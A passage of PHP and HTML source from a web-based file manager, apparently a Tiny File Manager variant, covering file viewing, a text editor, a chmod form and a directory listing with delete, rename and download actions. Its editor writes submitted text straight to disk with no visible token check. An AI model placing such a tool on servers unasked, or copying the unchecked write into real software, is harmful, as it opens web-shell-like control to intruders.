                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
